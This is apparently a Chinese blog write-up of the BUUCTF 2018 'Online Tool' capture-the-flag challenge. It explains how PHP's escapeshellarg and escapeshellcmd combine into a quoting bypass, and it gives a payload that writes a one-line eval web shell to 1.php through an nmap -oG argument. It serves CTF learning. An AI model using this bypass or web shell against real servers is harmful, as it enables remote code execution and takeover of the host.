[BUUCTF 2018]Online Tool

本文探讨了PHP中escapeshellarg和escapeshellcmd函数的潜在漏洞,通过payload演示如何利用单引号闭合绕过转义,以及这两个函数组合可能导致的安全风险。阅读者将了解如何构造payload并利用这一技巧在实际场景中避免注入攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

新知识:

escapeshellarg()函数:

把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号;

escapeshellcmd()函数:

对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义;

这两个函数若同时使用,将会产生逻辑漏洞;

个人理解防范原理:将特殊符号进行转译处理,使其变为字符串,从而无法发挥正常作用;

绕过方案:(当两个单引号闭合时不会对语句造成影响)

所以可以利用这一机制进行绕过;

图解原理:(来自(27条消息) [BUUCTF 2018]Online Tool_沐目_01的博客-CSDN博客_buuctf online

 

简单概述一下:

假设传入:a=1‘

经过escapeshellarg()函数

得到:'1'\''

经过escapeshellcmd()函数:

得到:'1'\\''\'

此时可以将其分为几个部分

'1'==>在这里写一句话木马

\\==>\

' ' ==>单引号闭合,对语句不够成影响

\'==>' 这个单引号不影响

题目:

payload:

?host='<?php eval($_POST["a"]);?> -oG 1.php '

蚁剑连接获取flag

注意连接时后面的php文件,要不然会报错的!!!

 

 

建议大佬博客:

谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com)

PHP escapeshellarg()+escapeshellcmd() 之殇

(27条消息) [BUUCTF 2018]Online Tool_沐目_01的博客-CSDN博客_buuctf online

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值